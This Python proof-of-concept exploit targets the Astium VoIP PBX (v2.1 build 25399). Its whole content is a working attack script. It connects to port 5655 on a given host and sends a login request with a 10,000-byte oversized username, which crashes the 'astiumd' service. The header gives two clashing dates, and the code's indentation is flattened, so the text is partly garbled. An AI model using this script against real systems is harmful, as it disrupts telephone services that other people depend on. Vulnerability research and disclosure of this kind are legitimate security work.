#!/usr/bin/python
#+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : Astium VoIP PBX <= v2.1 build 25399 Remote Crash PoC
# Date : 01-02-2012
# Author : xistence (xistence<[AT]>0x90.nl)
# Software link : http://www.oneip.nl/telefonie-oplossingen/ip-telefooncentrale/astium-downloaden-en-installeren/?lang=en
# Vendor site : http://www.oneip.nl/
# Version : v2.1 build 25399
# Tested on : CentOS 5.x 32-bit
#
# Vulnerability : The "astiumd" service on port 5655 crashes and restarts when sending a large buffer.
#
# Entries in /var/log/astiumd.log after executing script:
# Astiumd ended with exit status 139 <-- Segmentation Fault
# Automatically restarting Astiumd
#+--------------------------------------------------------------------------------------------------------------------------------+
import socket, sys
port = 5655
payload = "\x41"*10000
print ""
print "[*] Astium VoIP PBX <= v2.1 build 25399 Remote Crash PoC - xistence - xistence[at]0x90[.]nl - 2013-01-02"
print ""
if (len(sys.argv) != 2):
print "[*] Usage: " + sys.argv[0] + " <RHOST>"
print ""
exit(0)
rhost = sys.argv[1]
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost,port))
data = s.recv(1024)
print "[*] %s" %data
print "[*] Sending payload!"
s.send("Action: Login\r\n")
s.send("Username: " + payload + "\r\n")
s.send("Secret: hax0r\r\n")
s.send("\r\n")
s.close()
except:
print "Error!"
